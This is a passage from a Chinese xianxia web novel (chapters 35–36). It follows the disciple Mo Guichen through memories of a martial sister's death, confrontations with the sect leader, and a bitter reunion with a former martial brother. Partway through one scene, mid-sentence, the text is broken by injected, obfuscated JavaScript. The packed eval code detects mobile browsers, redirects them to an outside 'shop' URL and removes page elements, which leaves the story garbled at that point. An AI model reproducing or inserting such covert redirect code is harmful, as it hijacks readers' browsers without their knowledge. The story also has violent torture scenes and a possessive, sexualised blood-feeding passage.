二师姐以一己之力把所有师弟师妹送出阵法,陌归尘从昏迷的人堆爬起,在阵法关闭前,再次冲了回去。 二师姐怒斥他:“你傻呀,回来干什么?” 黑雾骤起,化作利箭,生死刹那间,那位姑娘猛地扯过他,护在身下。 万箭穿身,以生魂破阵。 气若游丝的姑娘,生掏心脉,放出心头血:“反正都要死了,那就物尽其用好咯。” 她唇角还挂着笑:“千万让你十三师兄别浪费,很疼的呀。” 鲜血滚烫,灼伤他眼。 修道之人的心头血何其珍贵,更何况还是极其罕见的八字纯阴灵体,他该如何接? 如何接? 慌乱无措间,他想起九尾族的尾巴可以化作法器,陌归尘不假思索拽上尾根,生掰下唯一一根尾巴,化作玉钵去盛。 那瞬间,他疼得失声。 二师姐错愕一愣,心疼极了,想抬手去拂掉他的冷汗,方知乏力得手也抬不起。 便是省着体力道:“你可知为何掌门师伯他们为何总是纵我懒散度日?因我天生体弱,本就是个命短的,指不定哪天就去了。” “你别看我平日里活蹦乱跳的,其实一到夜深人静时,我便如死人般陷入沉睡,那是师尊为我使的禁术,不然我可就是无时无刻都得靠灵丹妙药吊一口气的病秧子,这样的日子,多无趣呀。” “我本就是将死之人,与你无关。” 陌归尘颤抖着唇,喉间滚烫灼热,根本发不出声。 她看着他,又重复道:“听我说,与你无关,记住。” 他也不记得多久后。 躺在他身的姑娘,温度渐凉,夜里好似有脚步声,窸窸窣窣到急促凌乱。 猛然间,一掌袭来,陌归尘被击出几米外开,砸落地面,额头撞在石块,经脉都被震碎,连连喷出好几口血。 那瞬间,他骇然醒神,高高捧起玉钵,玉钵不能落地,沾了泥土,法器会失效。 陌归尘吃力举起玉钵,额角渗下的血水淌进眸底,视线很模糊,他只能对着那道虚晃的残影,吐出点气音:“二姐姐给你的。” 明明看不清。 可他还是在那道轮廓感受到恨不能挫骨扬灰的恨意。 膳堂不知何时掌起灯。 烛光晃眼,陌归尘伸手挡了挡,吐出口浊气。 记忆太久远。 他记得那夜是中秋。 他还安慰师尊说,十五的月亮十六圆,他十六那天,会带苍云州的鲜花饼回去,师尊千万要烹一壶好茶配点心。 他的二师姐说要路过家乡,拜一拜爹娘,而阵法所在地,离师姐家乡只差十公里。 那唯一可解诅咒的心头血,被十三师兄气愤一摔,撒了满地,荡然无存。 他重伤倒下,阖眼的最后一刻,看到天上的月亮。 很圆。 * “陌兄陌兄!” 陌归尘肩膀被人摇晃一下,黄金挥手:“你这怎的了?” 黄银:“似乎有些失意。” 轻衣:“想什么呢?喝酒喝酒,今朝有酒今朝醉!” 陌归尘自顾自斟酒:“嗯。” 黄金轻唔一声,八卦道:“不知你们听说没,最近都在传魔宫有个天地之宝。” 轻衣竖起小耳朵:“细说。” 黄银:“貌似是邪神之心。” 轻衣:“那其他门派不得暗中谋划如何独吞?” 黄金煞有其事点头:“自然。” 陌归尘:“……” 陌归尘:“我怎么不知。” 轻衣摊手:“很正常呀,陌师兄你素来是那种两耳不闻窗外事的高手嘛。” 黄金:“就是,孤僻。” 陌归尘:“我说邪神之心。” 黄金神乎其神拍胸:“千真万确,我偷听了好几日呢。” 黄金说得头头是道:“邪神本无心,后来长出一颗心,那邪神之心,便就是邪神剜出来的心,乃世间最厉害的法宝。” “……” 对于这些道听途说的话,陌归尘实在无语,神情冷漠斟酒:“谁没事剜心啊?” 酒瓶已空,需得自己去打酒,陌归尘拎起酒瓶。 这一转身,几近撞上个雪白的身影,脚步是刹住了,口中吐槽的话却下意识没收住。 “除非邪神脑子有毛病。” 35. 小人难养,近之则不逊。 35. 玄胤仙尊大驾光临,堂内人纷纷伏身相迎,拱手作揖行礼,在一众弯腰的人群里,更显一袭红衣,站得挺直的陌归尘尤为显眼。 他轻瞟眼前人。 闻笺怎么来了? 莫非是因今日和晏玉生论剑废了那厮手腕,被华云舟那老东西兴师问罪,而来找他秋后算账? “荷叶鸡!新鲜出炉的荷叶鸡!” 这声呼喝后,陌归尘瞬间醒神,闻笺这人可真是风雨不改记着徒弟的喜好。 银发青年刚敛眸,便听对面人道:“少喝些酒。” 闻笺话毕,便要拿走他手里的空瓶。 陌归尘手臂往上一抬,那人却熟知他的一举一动,早已于脑海里排兵布阵,比他先一步往上伸,等他入彀。 酒瓶直怼进闻笺手。 很有股自投罗网的傻劲儿。 陌归尘:“……” 被缴酒壶,他不满撇嘴:“师尊来这破地方做什么?” 闻笺:“明知故问。” 言罢,继续提步,往膳堂中央的荷叶鸡小摊走去。 陌归尘亦步亦趋,乖乖跟在自家师尊身后,路过堂中那坛大酒瓮时,鬼鬼祟祟摸走了坛顶上的小酒壶。 前方闻笺却似察觉到他的小动作,转身,要继续没收。 这次,陌归尘直接撩开衣襟,把酒壶塞进胸前。 “……” 那人动作一僵,讪讪蜷起手指,转回身子,闻笺背对他道:“自己交出来。” 陌归尘不以为意,拽上闻笺衣角,在其后背探出脑袋,歪头仰视自家师尊。 他颇有些得意,挑衅意味甚浓,点破道:“喝酒的是弟子,怎么脖子红的成了师尊?” “……” 随后便见自家师尊往前迈出一步,拉开二人距离,朝他摊出手掌,连带嗓音也沉下两分,命令似的重复道:“自己交出来。” 见状,陌归尘更乐了。 老男人恼羞成怒咯。 真可爱呀。 他眉眼弯成月牙状,笑得满脸无害,满不在乎用手指挠挠闻笺掌心:“想没收啊?在我怀里呢,恐怕需得劳烦师尊亲自掏一下。” 静默片刻。 那人忽地收掌,垂视而来,曲起食指,敲了敲他脑袋:“越发恃宠而骄。” 陌归尘无辜摊手:“这可不能怪我,难道师尊没听过一句‘小人难养,近之则不逊’么?” 闻笺沉默,徒弟此言不虚,这些年来,是他这个当师父的没把握好那个度。 是他的错。 平白害了身边人。 砰! 不知是谁的碗摔了,这声碗打在针落可闻的膳堂,刺耳无比。 众人纷纷如梦初醒,仍是有些目瞪口呆望向陌归尘所在方向,不由得生疑…… 这对师徒真的清白么? * 膳堂愈渐恢复热闹。 空中,歪歪斜斜飞来个纸做的血滴子。 陌归尘仍旁若无人望闻笺。 闻笺化出灵丝,丝线虚虚缠着陌归尘手臂,往旁边扯了扯。 血滴子也撞上木柱掉落。 滚在陌归尘脚边。 几岁的小孩跑来捡:“你别踩到了,那是我用来夺下大魔头首级的法宝!” 陌归尘垂眼,便见脚边的血滴子,与一个匆匆跑来的孩子。 得。 又是素未谋面的仇家。 陌归尘冷嗤:“就你这破烂玩意儿,门儿都飞不出,还妄图杀魔尊。” 小孩神气十足指指四周:“我们这么多人,大魔头必会伏诛!” 陌归尘:“你一小孩,到底哪来的敌意?这些年,魔界从未主动犯事儿。” 小孩子弯身捡血滴子:“大家都说大魔头是邪道魁首,他存活一天,我们仙门就难保有好日子,惩奸除恶是我们正道职责。” “你有亲眼目睹魔尊做了伤天害理的事儿?” “没,但大家说他该死。” “人云亦云的,你没有自我?” 小孩抱起血滴子,余光偷瞄不远处成群的孩子,犯难道:“可若我不说魔头该死,他们就不和我玩了。” 陌归尘还想说话,却被急急跑来的弟子打断。 那弟子朝闻笺恭敬行礼,道:“尊上有礼,掌门请陌师弟走一趟。” 陌归尘耸肩。 看来这回才是真的算账,而闻笺对此事,根本不知情。 闻笺接过荷叶鸡。 那弟子又道:“尊上留步,掌门师尊交代,陌师弟一人去便可。” 陌归尘回眸,轻瞟闻笺,腔调散漫,悠悠说着模棱两可的话:“师尊安心,弟子晚点回,必不会叫师尊独守空峰。” “你、” 闻笺刚抬起手,徒弟已经一股烟似的溜出门,还颇为得瑟回头,吐出个口型:“等我。” 他低笑摇摇头。 没大没小。 * 正峰主殿。 陌归尘刚进门,殿中高座之上的华云舟已是一阵厉喝。 “孽障!” 陌归尘若无其事扫视殿中,室内坐着不少人,也摆放着成堆的刑具,一应俱全,这阵仗倒大。 是要动私刑? 台上人又道:“混账东西,还不跪下!” 青年云淡风轻瞟人,跪?除了闻笺,他陌归尘这辈子就没跪过第二人。 让他下跪。 也不怕折寿。 他轻飘飘道:“掌门师伯有事说事,家师还等着弟子用膳。” “何事?” 华云舟绣袍一挥,横眉冷目骂道:“你还有脸问?” “你废了我书儿的手腕,你心肠好歹毒!” 陌归尘:“然后呢?” 华云舟一时岔气,“陌归尘!你眼里还有没有师长?有没有规矩?有没有心?” 陌归尘:“然后呢?” “你!” 华云舟呛了声,简直被气得半死不活,他怒火中烧:“你你你!我书儿如今还躺在床,昏迷不醒,你是半点愧疚都无?” 陌归尘:“然后呢?” “你你你……” 华云舟气得火冒三丈,直跳脚,抽了剑就往殿下走,哪里还顾得什么掌门风度。 他破口大骂:“我今日就要替天行道,除了你这祸害!” “欸欸欸。” 见人失心疯似的,两位长老也坐不住,忙上来拉架:“师兄冷静,冷静啊!” “冷静?” 华云舟提剑的手都在发抖,眼前又是那骨肉断裂,沾满鲜血的手腕:“我们书儿从小到大娇生惯养,哪里受过这种苦,我徒儿昏迷到现在,还能冤枉他不成。” 三长老早已了解事情的来龙去脉,这晏玉书根本就是自作自受,便小心提醒:“演武场,生死契约,不得追究。” 二长老:“况且,能治。” 华云舟老泪众横:“能治,就不痛了?我们书儿那是喝水都怕烫。” 陌归尘无语掀眼:“你把你宝贝徒弟含嘴里得了,不,还是别含,我怕他金贵得化了。” “陌归尘!你你你!” 华云舟气愤撸起袖子,挥起剑,一瞬间撞开两位师弟,朝陌归尘砍去。 那把剑凌空劈来。 咫尺距离间。 一丝白光袭到剑身,哐当,那柄剑脱手飞出去,直愣愣摔在大殿中。 众人皆是一怔。 便见殿门无风自开,长影逆光而来,敞开的那扇光直把陌归尘的眼眸都照得亮堂。 “过来。” 素淡话音响起,陌归尘率先回神,慢悠悠走到闻笺身侧。 华云舟连忙阻止:“闻师弟,你不能带他走,他——” 闻笺打断道:“我要考徒弟功课,恕不逗留。” 众人:??? “闻师弟!你可知你的徒弟都做了什么?” 闻笺没顺着问下去,只道:“浮华派若容不下我徒弟,那我即刻斩断落霞峰通往主峰的天堑栈道。” 此话刚落,陌归尘讶然转眸,凝视自家师尊。 闻笺对外,总是副泰山崩于前而色不变的淡然姿态,嗓音也淡凉如水,没什么起伏,宛若聊家常:“从今往后,我们师徒二人,与浮华派再无瓜葛。” “闻师弟?” “师弟师弟!说什么傻话呢!”两位长老赶紧一人拉一个,好说歹说劝架,“好啦!好啦,大家都别闹!” “小辈们小打小闹而已!” “咱们当长辈的,千万别为此置气伤和气!伏魔大战在即,这不是让外人看了笑话?” …… * 师徒二人堂而皇之离开。 陌归尘看着闻笺那个背影,真是和从前一样,自己才被罚下没多久,师尊也不知从何得知的消息,竟中途出关来接他。 唯一不同的是,小时候雪天路滑,他是被师尊抱走的,现在长大了,只能自己走。 天寒地冻,积雪堆起厚厚一层,瞄着闻笺留在雪地的脚印,陌归尘眉眼转动,挑起丝狡黠,跟着踩了下去。 徒弟一直没说话。 闻笺忧心这人是不是还受了些委屈,便是回头询问:“怎——” 白雪皑皑中,这回眸,闻笺最先看到的是这条蜿蜒小路,只有他一人的足迹。 也才知晓徒弟懒劲儿又犯,走在他走过的路。 片刻后,那颗白毛脑袋也轻“咦”声,从他胸膛高度抬起。 雪碎霏霏。 但见那人的眼睫都沾上细雪,白融融的,衬得鼻头那点红尤为可怜。 徒弟却如无事人,微微莞尔,那笑,比身上红衫还明艳:“怎么不走了?” 他怔了怔,问:“冷吗?” 陌归尘轻唔摇头,呼吸忽而迎来股栀子清香。 一件雪白的羊绒斗篷,轻轻盖在他身,闻笺似还觉不够,又给他扣好帽子,指尖挑起帽绳,有条不紊打上个漂亮的结子。 裹得严严实实的。 像个雪人。 陌归尘:“我说我不冷。” 闻笺:“晚上吃什么?” 陌归尘:“不是,我不冷。” 闻笺:“嗯,荷叶鸡。” 陌归尘:“???” 陌归尘撩起帽绳把玩了一下,算,谁让闻笺是师尊呢,尊老爱幼,权当让让老男人呗。 盯着那个闻笺背影,魔尊大喵颇为大度心想,离了我陌归尘,谁还惯你闻笺啊! 你要懂得知恩图报,最好立马以身相许! * 这两日,陌归尘都在借着集训休息间隙,不厌其烦走遍整个广场每个角落,细细寻人。 奈何就是不见那人踪影。 日子越发走近伏魔大战,陌归尘站在散场的人流中,轻叹声,回了魔宫。 魔界护法殿,侧殿。 雪影坐在主位,手里还抱着只白色的猫,慢条斯理给猫儿梳毛,不时挠挠猫下巴。 娴熟的手法,叫猫咪享受极了,懒洋洋伸腰,惬意眯眼,窝在男子腿上,肚皮断断续续发出咕噜声响。 随后,男子抬起手掌。 啪! 手掌打落猫屁股,猫咪顿时“喵~”出享受的叫声,噗一下倒下,又窸窸窣窣撅起,连带尾巴都翘成一个弧度,咪咪乱叫。 “喵喵~” 像是在求拍拍。 雪影逗了片刻,才轻瞥跪地许久的玄袍金冠男子。 他靴尖挑起地上人下颌。 打量几眼。 座上人什么也没说,却又似说尽千言万语,挖讽又不屑,施威又漠然。 那双眼空无他物。 复杂,难捉摸。 殿中其他猫也跑来求抚摸,围着雪影乱蹭,许久未得回应,其中一只猫伸出爪子挠人。 雪白锦袍,顿时被挠出道细微裂痕,惹得男子垂眼。 盯着衣袍的抓痕,他眼眸轻眯,掐起罪魁祸首的脖子。 黑猫呜咽挣扎,四爪疯狂抓挠男子手背。 座上男子脑海里忽然闪过团小白影,那只小白猫惯爱窝在他腿小憩,偶尔会弓起背伸懒腰,换个姿势继续躺下。 那只小前爪搭在途腿沿晃悠时,便会露出粉嫩的肉垫。 这只抓他的黑猫,也有粉色的肉垫。 男子厌倦阖眼,松开手指。 啪一声,黑猫死里逃生掉落,连滚带爬逃窜,缩在角落大口大口喘气。 男子弯身放下小白猫,转头望去某个方向,怎么又回来了,天天来回跑。 小家伙还挺能折腾。 似又想到陌归尘张牙舞爪的模样,雪影轻笑,也只有神志不清,最迷蒙时,小徒弟才脆弱又粘人。 他睨视跪地之人,心情甚好,帮其扶正发冠,方化作黑雾,湮进底下人体内。 * 此时,正值魔界黄昏。 夕阳西下。 青年刚路过侧殿,便见那厢玉石门框下,缓缓踏出个人影。 陌归尘循声望去时,那人一半隐在阁楼阴影下,一半镀在万丈霞光里,阴阳割分晓。 分割的光线,随那人移动而移动,终于,完全露出那张邪魅狂狷的脸。 二竹弋。 这家伙,怎么又回魔界了? 浑身都挂满猫儿式样的饰品,连腰间的铃铛都是猫状,这厮得有多喜欢猫? 他陡然想起玄灵宗山下照壁上的浮雕也是一堆猫。 旁的宗门在山门摆石狮麒麟貔貅等瑞兽,这个二竹弋倒好,直接在山脚拱门石阶两旁放两只玉做的猫。 听说那做猫的玉过于罕见,还曾被不怕死的江洋大盗盗窃过,一度成为仙门茶余饭后的笑谈。 那人终于停在他身前。 离得近,陌归尘才瞧清,这家伙的下颚多出道红痕。 脖子的伤也没消。 这么多天,哪怕药效再差,也该康复如初,陌归尘狐疑:“我的药,你没用?” “怕我毒死你?” “殿下说笑。” 陌归尘抛出个小药瓶:“别死太早,魔界还指望你。” 陌归尘也是知人善用的主儿,他从不否认,这位左护法却有治理之才。 魔界井井有条。 左护法功不可没。 二竹弋并未细听,他目光落在陌归尘纤细的脖子,因人说话,喉结耸动,幅度很小,没有张唇喘气时那么急促。 再往下便是锁骨,锁骨藏在红衫下,只露出雪白一角,若隐若现的,却更惹人浮想联翩。 “喂!聋了?” “嗯,漂亮。” “谁问你漂亮了?你脑子是不是有病?” 这么漂亮的锁骨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375722|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不挂点装饰,实在可惜。 精致的锁骨盛着汗珠。 一喘一铃铛地响。 多美呀。 二竹弋从袖口取出个金银细丝编织的小铃铛吊坠,举起:“拍卖会拿下的,请殿下笑纳。” 陌归尘本想拒绝,便听那人道:“权当是殿下赠药的回礼,不然我总觉受宠若惊。” 陌归尘:“……” 整日搞些表面功夫,戴着副面具活着不累么? 但自己此前也算有求于人,他微有厌倦敛眼,还是接过,转念想到脖子有师尊赠的吊坠,旁人的物什不配与之并列,便把铃铛往手腕敷衍一挂。 他问:“满意了?” 二竹弋温润微笑,没说话,藏在身后的掌心收拢,玉瓶霎时化作齑粉,散落风中。 * 是夜。 夜色浓稠似墨染,天空水洗般空荡,没有星辰。 陌归尘把右护法带离魔界,来到鬼城,他们初遇之地。 此地荒寂萧条,久无人烟,也无鬼怪邪祟。 他把人放到破旧寺庙里。 似还能听到初见对话。 陌归尘:“天黑了。” 小妖反驳笑道:“天黑多好呀,天越黑,星星越亮。” 再后来,便是小妖带他淌过魔界那片尸山血海,初入魔界,无星无月,阴沉漆黑。 他说:“天黑了,找不到回去的路了。” 小妖却说:“回得去。” 于是小妖跑遍附近村落,给他点了好多盏灯放到天上:“没有星星,还可以点灯。” “倘若,灯也没呢。” “那我就一拳把你砸晕,保管能看到星星。” 陌归尘被逗笑。 小妖捏捏他脸颊:“对嘛对嘛,笑一笑,整日苦大仇深的,别人还以为我欠你钱不还呢。” “是我欠你,比钱难还。” 小妖憨笑摆手:“你们仙门中人活得真是条条框框的,什么欠啊还的,我们妖族生存法则第一条,是:做妖嘛,开心最重要。” 小妖捏起他颊肉,扯出个笑脸,重复道:“开心最重要。” 陌归尘思绪回笼。 他单膝蹲下,在右护法脖子挂上条红绳,绳子末端则绑着根骨哨。 这个角度,刚好瞧见右护法锁骨伤痕,锁骨之下,更是伤痕累累,是初来魔界伊始,这人曾在他重伤昏迷之际,替他挡下的刀光剑影。 以他的实力,能祛疤。 小妖却拒绝了:“别别别,以后我儿孙满堂时,我还要指着这些伤痕跟他们吹嘘,这些都是爷爷当年跟你们尊主打江山的见证!” 事实却演变成…… 小妖一步步爬到他头顶飞扬跋扈的见证。 甚至要杀他,取而代之。 相识于微的情分,抵不住一句“共患难易,同富贵难”。 陌归尘唏嘘吁气,朝骨哨打进个禁制,又刺破右护法指腹,助其滴血认主。 魔界十二魔将只听命于他,但他这几日特地炼制的这枚骨哨,也可召唤魔将。 放下骨哨,陌归尘起身,静了片刻,还是重新蹲下,朝人袖口塞进个落有禁制,唯本人方可打开的储物袋。 他看着他。 从今往后,好自为之。 * 回到浮华派时还早。 月上枝头,陌归尘独自来到安置各门各派的弟子苑。 庭院满是人影。 骤然迎来不速之客,满院喧哗声一时消停。 众人之中,不乏见过陌归尘生掰自家师兄手腕之人,见此人到来,便是一阵愤懑。 人群躁动:“你这厮,自持仙尊徒弟,简直无法无天,不惭愧赎罪,去好生照料自家师兄,竟还有脸到处闲逛?” 附和声随之而起:“就是!真和当年的某位孽障一样冷血!残害同门!” “怕不是要步某人后尘,你们这种人,罪不容诛!就该天打雷劈!” …… 陌归尘淡眼扫人。 那冷淡的目光,无端有种不怒自威的气势,众人一时骇然,不由自主而纷纷闭嘴。 待众人回神时,陌归尘已消失不见。 青年一处一处厢房查探,偶尔有路过的人影也不放过,仔细甄别,直把路人看得羞涩几分。 好半天后。 陌归尘来到回廊拐角,一抹衣袍倏然隐进夜色,他本是无感,怪就怪在那人看见他便提步走得更快。 着实可疑。 陌归尘不假思索追上去。 浮华派,两道身影如鬼魅,追逐于月色下的屋檐。 最终落在地牢消失。 奇怪。 陌归尘停在地牢入口,方才明明看见那人落地,竟不见了踪影。 思忖片刻,他还是瞒过门口的守卫,悄然下了地牢。 常年不见天日,甬道昏暗,幽幽染着两盏壁灯,空气中弥漫腐朽又陈旧的腥臭味。 陌归尘掩鼻。 继续往前走。 七弯八拐,来到尽头牢房,停在道被下了重重结界的乌黑铁闸前,门后怪物浑身是伤,地上的血迹凝固,飘起股咸鱼般的枯臭味。 似发现他,恶灵幽幽掀开眼眸,露出猩红可怖的眸。 上次二竹弋那老东西说仙门抓住其中一只恶灵,那恶灵也在仙门集训期间被送押浮华派。 只是这恶灵也是倔种,无论如何折磨它,愣是不开口吐出半个字儿。 叫人颇为束手无策。 想来那恶灵,便是眼前这被折磨得不成样的怪物。 陌归尘眸光轻移,看了一眼旁边的空室,自嘲失笑,遥想当年…… 他也曾被关押在此。 * 另一边。 华贵的房中。 晏玉书睁眼,一团黑雾霎时闯进视野,吓得他一个鲤鱼打滚挺身,又因碰着手腕伤口,而痛得直抽气。 “啊啊啊你是什么东西?” “来人来人!” “救命!” “叫什么?吵死了。”黑雾恹恹发话,自顾自落座。 “师尊!师姐!救命啊!” 晏玉书起身,奈何无论怎样跑,都似鬼撞墙一般,一直停在原地打转。 他脸色煞白,六神无主瘫倒,无计可施的人,哆嗦着跪起,叨叨念念奇怪咒语。 这幕把黑雾逗得不禁一笑:“哟,这是在求拜谁?” “真是可惜你的诚心了。” 黑雾化作个无脸轮廓,飘到晏玉书身前,淡淡道:“你跪的那满天神佛,可不敢在吾手里抢人。” 剑光映进晏玉书眸底。 他倒向黑雾,跪趴着求饶:“别别别杀我!你要什么?我给你!我师尊是浮华派掌门,他什么好东西都有!都给你!” 黑雾噙笑:“好呀。” 晏玉书如释重负吐气:“前辈您要什么?我这就找我师尊。” “要你的命。” 黑雾抚过出鞘的剑刃,温柔如情人缠吻:“无双剑十年未开刃,赏你第一个祭剑,实乃你无上荣光。” 晏玉书惶恐瞠目:“不唔——” 万籁俱静,红烛高照,火光映落房中景物。 雪白墙面,只印着一人一剑,独角皮影戏似的,人影奋力挣扎,仍抵不住那柄剑,扑哧一下…… 凌空穿喉。 36. 这路可真短啊。 36. 陌归尘在地牢里站了半晌,没再多作逗留。 离开前还特地抹掉自己的气息,只要不借助特殊法宝,便断不能恢复他来过的行迹。 青年走出地牢,前方湖边,假石山下忽而多出道人影。 那身形…… 数十年如一日。 陌归尘一愣,久久未能回神,是你么? 十三师兄。 夜色浓稠,青年一步一步靠近湖边,目光死死锁在那道背影,生怕一眨眼,那道影子便如云烟消散。 鹅卵石路上,枯枝咔嚓断裂,湖边人也悠悠转身。 须臾间。 陌归尘眼底久蓄的绯意,化作层水雾洇出眼尾,连带唇部也不自觉翕动一下。 果然……是你。 他撇开涩得难受的眸,微微抽了下鼻子,眼神闪躲,斜斜望向湖面。 对面人道:“真是好久不见。” 陌归尘嗓音哑涩:“你,认得我?” “你说呢?” 风霜俱寂。 两人相顾无言许久。 终于,陌归尘阖眼,任由眼角那滴泪珠滑下:“我别无他想,只求一句为什么。” “为什么?你心里不是早有答案吗?” “我想听你亲口说。” “是,如你所想,我恨你,恨不能挫骨扬灰。” “那为何不杀了我?” “杀你?岂非便宜你?我还是更喜欢看你百口莫辩、痛不欲生的模样。” 陌归尘睁眸,方才后知后觉,这人脸上蒙有绸缎:“你的眼睛?” 虽蒙有红绸,但他也能知晓,十三师兄朔望眼眶里的眼珠子,涣散而不聚焦。 朔望冷声道:“与你无关。” “怎么无关?”陌归尘还记得当年历练,冰天雪地,他落进雪女圈套,在连片的雪山里患上短暂的雪盲症。 是他的十三师兄,分了他一半视力,自己身负重伤,也势要架起他,一步步走出阵法。 那片雪山。 除了数不清的雪,还有数不清的血。 怎么可能无关! 陌归尘视线悄然往下移,定在朔望腰间图案:“我不信,我不信你会如此绝情,不然你为何还留着这花纹?” 那图案,是他们三师姐弟,你一笔我一画凑成的。 陌归尘摇头,嗓音断断续续,替人找借口:“这十年,我无时无刻不觉得,你当年,定有苦衷。” 他声音近乎哀求:“告诉我,你有苦衷,对不对?” 朔望嗤笑:“我的好师弟呀,曾经的天子骄子,如今失魂落魄似苟延残喘的丧家犬,我怎么越看越舒爽呢?” 他挑起腰间的那抹印有独特花纹的布料:“你以为我很稀罕这破烂物什?” 少年模样的人,挥剑,手起刀落,白袍飘然落地。 割袍断义。 …… 湖边很静。 寒风凛冽,月光如霜,打落红衣青年脊背,他一动不动蹲在地上,手心还紧攥着块白袍。 不知多久后。 陌归尘回神时,才发现自己来到处小摊附近,那是曾经二师姐带他和十三师兄逛庙会的地方。 故地重游,物是人非。 当年小摊的大叔也不在了。 那些话语却还萦绕耳畔:“从今往后,咱们三师姐弟都要和和睦睦的,知道没?” 浮华三结义,说好要和和睦睦的,不知为何竟落得这步田地,一死一残一堕魔。 想见的,天人永隔。 活着的,相看两厌。 * 夜色渐沉。 一道雪影现身荒无人烟的巷子墙角。 轻而易举穿破结界。 他垂眸,望着缩在角落熟睡的小徒弟,慢条斯理蹲下,手肘撑在膝盖上细细打量而去。 “哭这么可怜呢。” “真惨呐。” 他指腹轻拭小徒弟眼尾,擦走未干的泪迹。 只是这么漂亮的眸子,怎么可以盛满为旁人而生的泪。 真是嫉妒得发疯。 想了想,还是抬起手掌,青年霎时化作团小猫躺在他手心,雪影旋即割破指腹,轻轻插进小猫嘴里。 梦中的小猫尝到甜头,不由自主吮吸起来。 猫腮一股一股蠕动。 雪影端详掌上的小猫。 嘴巴真小。 一根手指就塞满了。 就这么乖乖地仰躺在他手,四只小爪子朝天,露出湘妃色肉垫,像极乱跑而沾上的几瓣桃花。 软白的肚皮,随着小猫一吸一吞的动作,越渐鼓胀,宛若被灌满的小汤包。 他忽地想起,九尾族独有的秘术,男女皆可孕子,这幕似叫人预见,小尺玉日后怀上小小尺玉的模样。 他轻笑。 竟有些期待。 * 夜,凉如水。 陌归尘做了场冗杂的梦,这梦又碎又长,尤像话本里提及的,人死前的走马灯,意在重温自己的一生。 画面一幕幕袭来…… 从那年三月初七,春和景明,浮华派拜师大典为伊始。 初来时,最多的画面是与师尊的相处日常,有落霞峰的,也有出门游历的,其中夹杂些二师姐带他“招摇撞骗”的场景。 那时的华云舟常气得跳脚,却因二师姐,对他忍气吞声。 后来又是因二师姐,与十三师兄渐渐熟络的画面。 捣蛋二人组变成三人行。 正是因如此,方有幸目睹二师姐与十三师兄的友情变质,也才在后来的岁月里幡然醒觉,爱在欲语未语时最动容。 而他也在经历另一种感情的变质。 那天,他看着十三师兄拿着三盏灯,在山下招手:“走呀!今日休沐!放天灯祈愿!” 灯会,河边。 他站在二人中间,余光刚好瞄见二师姐写了十三师兄的名字,十三师兄写了二师姐的名字。 凡间灯会,传闻在祈愿的灯上写上重要之人的名字,便能与之心想事成。 他不假思索写下个“闻”字。 又骇然醒神。 险些酿成大错。 便转而写回自己名字。 两人都打趣他,怎么有人写自己名字呢。 怎么不可以写自己名字呢。 他心想。 不能写“闻笺”,但可以用闻笺的字迹写青栀的名字。 那刻。 他就知道。 自己已经沦陷了。 奈何好景不长,及冠不久,闻笺却误以为他心属旁人要给他赐婚,拒婚之后,他们似乎有好长一段时间未碰面。 尤像刻意回避。 再见时便是闻笺赠他玉佩。 没过多久,那人又与他说考虑一下出师的日子。 其实闻笺没错,成婚还是出师,对任何弟子而言都实属正常,那层师徒关系还在,但于他,却如诛心,无论哪一个,他皆失去留在落霞峰的理由,失去日日陪伴师尊的理由。 本就爱而不得,如今连多看几眼心爱之人的机会,也要被剥夺走吗? 没有这么残忍的。 于是他跪在书房门口,求师尊收回成命,奈何冻得到晕厥,那人也未曾为他打开房门。 此前曾央求过二师姐带他一起护送秘宝,醒来后,不得不提起精神出发。 只留下道音讯,说回来再谈,那时他自我宽慰,也许回来后,师尊就改变主意了呢。 中秋那夜,他还特地给闻笺施法传音,不过那人很久后才接他的传音符,似乎很倦乏的模样,连带声音都哑涩得出奇。 师尊素来强大,他并未在意,只说要在十六那天赶回来,带些鲜花饼给师尊尝尝。 传音符那头,闻笺应下,还千叮咛万嘱咐他少乱跑,不可贪玩离开师姐视线范围。 和往常一样为他操心。 他就说师尊这般心软,从小到大什么都依他,婚配还是出师,不外乎是撒个娇便能掀过去的小事。 可惜这一去,二师姐死在阵法里,同门师兄姐弟妹们也倒在血泊中,那个他以背交付的十三师兄以死来构陷他。 那夜,中秋月圆,霜华满天,阵法过后,荒草杂芜,阴风凄凄,尸横遍野,血染残垣戈壁。 他茫茫然站在尸山血海里。 等待他的。 是浮华派的地牢。 大抵是华云舟消息封锁得太好,这次,师尊也没如期出现,连日来,他被折磨得不成人样,浑身上下没一处好皮。 华云舟对林岁愉有多爱。 便对他有多恨。 甚至命人用细银签,生生挑断他十根指筋。 他居高临下望来,施舍一般开口:“你师尊默许的。” “我不信……” “从今往后,”华云舟夺走无双剑,如待破烂,随意往旁边一扔,“你也不配用剑。” “我不信。” “不信?那为何你师尊这次没出现?他还一次一次将你往外推,你还不懂吗?你不过是他在这世间历的一场劫罢,利用过后,随时可断舍离。” “我不信!!!” “他不会不要我,是你在信口雌黄!挑拨离间!” 牢门关闭那刻。 陌归尘提起一口气,拖着残破的身子,一点一点挪手肘,爬向无双剑,紧紧将之拥进怀。 …… 夜里的牢房,阴暗潮湿,墙上那扇小铁窗不知通向何处。 打来暗黄的光。 幽光照着滴答滴答的水珠。 哒,哒,哒。 水珠滴落青年干涸的唇,甜甜腻腻,陌归尘昏昏沉沉醒来,才惊觉自己躺在旁人怀里。 他虚弱蠕动唇缝。 “师尊?” 雪影托着他脑袋:“醒了?” 他吃力拽上闻笺的衣角:“他们不是我杀的。” “别不要我。” “为师知道。”雪影揉揉他发顶,“为师向来信你。” “为师带你走。” 闻笺牵着他走出地牢,外面人声鼎沸,火光滔天,一众弟子纷纷如临大敌,不知为何故。 这晃神的功夫。 闻笺不见了。 而他竟身处门派七星阁前,阁内封印着前些日子抓回来的恶灵,恶灵凶狠无比,需得炼化后,方能给内门弟子们练手。 陌归尘讷讷定住,阁门封印似有松动,刚上前,那封印霎时被冲破。 “闻青栀!” 身后传来嘈杂声,他回眸,只见门中十来名弟子围着他,义愤填膺唾骂,“竟然是你放出的恶灵?你胆敢勾结恶灵?” 